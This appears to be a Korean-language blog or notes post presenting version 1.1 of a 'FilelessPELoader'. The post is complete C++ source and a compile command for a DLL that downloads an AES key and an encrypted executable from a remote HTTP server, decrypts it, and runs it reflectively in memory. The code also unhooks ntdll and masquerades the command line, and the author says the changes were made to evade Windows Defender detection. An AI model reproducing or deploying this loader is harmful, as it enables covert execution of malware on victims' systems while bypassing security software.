FilelessPELoader version 1.1
FilelessPELoader version 1.1
FilelessPELoader version 1.1
이전 버전이 디펜더에서 감지 된다.
http 서버에서 a.dll 이 bin 파일을 받아올때 디펜더에 의해 동적 감지가 된다.
따라서 http down 부분을 수정함.
loader.cpp
#define _CRT_RAND_S
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <psapi.h>
#include <winternl.h>
//#include <winhttp.h>
#include <wincrypt.h>
#include <limits>
#include <stdlib.h>
#include <string>
#include <wininet.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 )
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )
#pragma comment (lib, "crypt32.lib")
//#pragma comment(lib, "winhttp")
#pragma comment(lib, "wininet.lib")
#pragma warning (disable: 4996)
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll")
EXTERN_C NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
using MyNtMapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY;
struct DATA {
LPVOID data;
size_t len;
};
void NetwaifDecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen, DWORD netwaifLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
CryptHashData(hHash, (BYTE*)key, keyLen, 0);
CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen);
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
DATA NFGetData(wchar_t* whost) {
DATA result = { NULL, 0 };
HINTERNET hInternet, hConnect;
DWORD error;
char host[1024];
char resource[1024];
// WideCharToMultiByte를 사용하여 ASCII 문자열로 변환
char agent[] = "HTTP Downloader";
int agentLen = WideCharToMultiByte(CP_UTF8, 0, L"HTTP Downloader", -1, NULL, 0, NULL, NULL);
if (agentLen > 0) {
WideCharToMultiByte(CP_UTF8, 0, L"HTTP Downloader", -1, agent, agentLen, NULL, NULL);
} else {
return result;
}
int hostLen = WideCharToMultiByte(CP_UTF8, 0, whost, -1, host, sizeof(host), NULL, NULL);
if (hostLen <= 0) {
return result;
}
// 인터넷 세션 열기
hInternet = InternetOpen(agent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
/*
error = GetLastError();
LPVOID errorMsg;
FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL, error, 0, (LPWSTR)&errorMsg, 0, NULL);
// 메시지 박스로 표시
//MessageBoxW(NULL, (LPCWSTR)errorMsg, L"Error", MB_ICONERROR);
//MessageBoxW(NULL, L"InternetOpen", L"Error", MB_ICONERROR);
// 메모리 해제
LocalFree(errorMsg);
*/
return result;
}
// HTTP 연결 열기
hConnect = InternetOpenUrl(hInternet, host, NULL, NULL, 0, NULL);
if (hConnect == NULL) {
InternetCloseHandle(hInternet);
/*
error = GetLastError();
LPVOID errorMsg;
FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL, error, 0, (LPWSTR)&errorMsg, 0, NULL);
// 메시지 박스로 표시
//MessageBoxW(NULL, (LPCWSTR)errorMsg, L"Error", MB_ICONERROR);
//MessageBoxW(NULL, L"InternetOpenUrl", L"Error", MB_ICONERROR);
// 메모리 해제
LocalFree(errorMsg);
*/
return result;
}
// 데이터 읽기
DWORD bytesRead;
DWORD bufferSize = 4096; // 읽을 버퍼 크기를 조정할 수 있습니다.
LPVOID buffer = malloc(bufferSize);
if (buffer == NULL) {
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
DWORD totalBytesRead = 0;
while (InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) {
// 데이터를 적절한 크기로 재할당하고 데이터 복사
LPVOID newBuffer = realloc(result.data, totalBytesRead + bytesRead);
if (newBuffer == NULL) {
free(result.data);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
result.data = newBuffer;
memcpy((LPBYTE)result.data + totalBytesRead, buffer, bytesRead);
totalBytesRead += bytesRead;
}
result.len = totalBytesRead;
// 리소스 해제
free(buffer);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
//cmdline args vars
BOOL hijackCmdline = FALSE;
char* sz_masqCmd_Ansi = NULL;
char* sz_masqCmd_ArgvAnsi[100];
wchar_t* sz_masqCmd_Widh = NULL;
wchar_t* sz_masqCmd_ArgvWidh[100];
wchar_t** poi_masqArgvW = NULL;
char** poi_masqArgvA = NULL;
int int_masqCmd_Argc = 0;
struct MemAddrs* pMemAddrs = NULL;
DWORD dwTimeout = 0;
//PE vars
BYTE* pImageBase = NULL;
IMAGE_NT_HEADERS* ntHeader = NULL;
//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT-------------
LPWSTR hookGetCommandLineW()
{
return sz_masqCmd_Widh;
}
LPSTR hookGetCommandLineA()
{
return sz_masqCmd_Ansi;
}
char*** __cdecl hook__p___argv(void)
{
return &poi_masqArgvA;
}
wchar_t*** __cdecl hook__p___wargv(void)
{
return &poi_masqArgvW;
}
int* __cdecl hook__p___argc(void)
{
return &int_masqCmd_Argc;
}
int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless)
{
*_Argc = int_masqCmd_Argc;
*_Argv = poi_masqArgvW;
return 0;
}
int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless)
{
*_Argc = int_masqCmd_Argc;
*_Argv = poi_masqArgvA;
return 0;
}
_onexit_t __cdecl hook_onexit(_onexit_t function)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n");
return 0;
}
int __cdecl hookatexit(void(__cdecl* func)(void))
{
//BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n");
return 0;
}
int __cdecl hookexit(int status)
{
//BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n");
//_cexit() causes cmd.exe to break for reasons unknown...
ExitThread(0);
return 0;
}
void __stdcall hookExitProcess(UINT statuscode)
{
//BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n");
ExitThread(0);
}
void masqueradeCmdline()
{
//Convert cmdline to widestring
int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0);
sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size);
//Create widestring array of pointers
poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc);
//Manual function equivalent for CommandLineToArgvA
int retval;
int memsize = int_masqCmd_Argc * sizeof(LPSTR);
for (int i = 0; i < int_masqCmd_Argc; ++i)
{
retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL);
memsize += retval;
}
poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize);
int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR);
LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR);
for (int i = 0; i < int_masqCmd_Argc; ++i)
{
retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL);
poi_masqArgvA[i] = buffer;
buffer += retval;
bufLen -= retval;
}
hijackCmdline = TRUE;
}
//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array
void freeargvA(char** array, int Argc)
{
//Wipe cmdline args from beacon memory
for (int i = 0; i < Argc; i++)
{
memset(array[i], 0, strlen(array[i]));
}
LocalFree(array);
}
//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN
void freeargvW(wchar_t** array, int Argc)
{
//Wipe cmdline args from beacon memory
for (int i = 0; i < Argc; i++)
{
memset(array[i], 0, wcslen(array[i]) * 2);
}
LocalFree(array);
}
char* GetNTHeaders(char* pe_buffer)
{
if (pe_buffer == NULL) return NULL;
IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
const LONG kMaxOffset = 1024;
LONG pe_offset = idh->e_lfanew;
if (pe_offset > kMaxOffset) return NULL;
IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset);
if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;
return (char*)inh;
}
IMAGE_DATA_DIRECTORY* GetMYDirectory(PVOID pe_buffer, size_t dir_id)
{
if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
char* nt_headers = GetNTHeaders((char*)pe_buffer);
if (nt_headers == NULL) return NULL;
IMAGE_DATA_DIRECTORY* peDir = NULL;
IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;
peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);
if (peDir->VirtualAddress == NULL) {
return NULL;
}
return peDir;
}
bool RepairIAT(PVOID modulePtr)
{
IMAGE_DATA_DIRECTORY* importsDir = GetMYDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (importsDir == NULL) return false;
size_t maxSize = importsDir->Size;
size_t impAddr = importsDir->VirtualAddress;
IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
size_t parsedSize = 0;
for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr);
if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break;
LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name);
size_t call_via = lib_desc->FirstThunk;
size_t thunk_addr = lib_desc->OriginalFirstThunk;
if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk;
size_t offsetField = 0;
size_t offsetThunk = 0;
while (true)
{
IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via);
IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr);
if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)
{
size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF));
fieldThunk->u1.Function = addr;
}
if (fieldThunk->u1.Function == NULL) break;
if (fieldThunk->u1.Function == orginThunk->u1.Function) {
PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData);
LPSTR func_name = (LPSTR)by_name->Name;
size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name);
if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0)
{
fieldThunk->u1.Function = (size_t)hookGetCommandLineA;
}
else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0)
{
fieldThunk->u1.Function = (size_t)hookGetCommandLineW;
}
else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0)
{
fieldThunk->u1.Function = (size_t)hook__wgetmainargs;
}
else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0)
{
fieldThunk->u1.Function = (size_t)hook__getmainargs;
}
else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___argv;
}
else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___wargv;
}
else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___argc;
}
else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0))
{
fieldThunk->u1.Function = (size_t)hookexit;
}
else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0)
{
fieldThunk->u1.Function = (size_t)hookExitProcess;
}
else
fieldThunk->u1.Function = addr;
}
offsetField += sizeof(IMAGE_THUNK_DATA);
offsetThunk += sizeof(IMAGE_THUNK_DATA);
}
}
return true;
}
void NetwaifLoader(char* data, DWORD datasize, DWORD netwaifLen)
{
masqueradeCmdline();
unsigned int chksum = 0;
for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; };
BYTE* pImageBase = NULL;
LPVOID preferAddr = 0;
DWORD OldProtect = 0;
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data);
if (!ntHeader) {
exit(0);
}
IMAGE_DATA_DIRECTORY* relocDir = GetMYDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC);
preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase;
HMODULE dll = LoadLibraryA("ntdll.dll");
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase);
pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pImageBase) {
if (!relocDir) {
exit(0);
}
else {
pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pImageBase)
{
exit(0);
}
}
}
// FILL the memory block with PEdata
ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase;
memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders);
IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
{
memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData);
}
// Fix the PE Import addr table
RepairIAT(pImageBase);
// AddressOfEntryPoint
size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint;
EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0);
}
LPVOID getNtdll() {
LPVOID pntdll = NULL;
//Create our suspended process
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!pi.hProcess)
{
printf("[-] Error creating process\r\n");
return NULL;
}
//Get base address of NTDLL
HANDLE process = GetCurrentProcess();
MODULEINFO mi;
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage);
SIZE_T dwRead;
BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead);
if (!bSuccess) {
printf("Failed in reading ntdll (%u)\n", GetLastError());
return NULL;
}
TerminateProcess(pi.hProcess, 0);
return pntdll;
}
BOOL Unhook(LPVOID cleanNtdll) {
char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 };
HANDLE hNtdll = GetModuleHandleA(nt);
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew);
int i;
// find .text section
for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i));
char txt[] = { '.','t','e','x','t', 0 };
if (!strcmp((char*)sectionHdr->Name, txt)) {
// prepare ntdll.dll memory region for write permissions.
BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!ProtectStatus1) {
printf("abcd Failed to change the protection (%u)\n", GetLastError());
return FALSE;
}
// copy .text section from the mapped ntdll to the hooked one
memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
// restore original protection settings of ntdll
BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!ProtectStatus2) {
printf("abcd Failed to change the protection back (%u)\n", GetLastError());
return FALSE;
}
}
}
return TRUE;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI Dll334(void) {
char* key = "http://192.168.50.9:8002/1.txt";
const size_t cSize1 = strlen(key) + 1;
wchar_t* wkey = new wchar_t[cSize1];
mbstowcs(wkey, key, cSize1);
char* pe = "http://192.168.50.9:8002/2.txt";
const size_t cSize2 = strlen(pe) + 1;
wchar_t* wpe = new wchar_t[cSize2];
mbstowcs(wpe, pe, cSize2);
DATA nf_PE;
DATA nf_keyData;
nf_keyData = NFGetData(wkey);
if (!nf_keyData.data) {
return FALSE;
}
nf_PE = NFGetData(wpe);
if (!nf_PE.data) {
return FALSE;
}
NetwaifDecryptAES((char*)nf_PE.data, nf_PE.len, (char*)nf_keyData.data, nf_keyData.len, 11);
// Fixing command line
sz_masqCmd_Ansi = (char*)"bhggisfsfdjdsfkd23k";
NetwaifLoader((char*)nf_PE.data, nf_PE.len, 11);
return 0;
}
}
아래는 컴파일 명령어 이다.
x86_64-w64-mingw32-g++ --static --shared loader.cpp -lwininet -o a.dll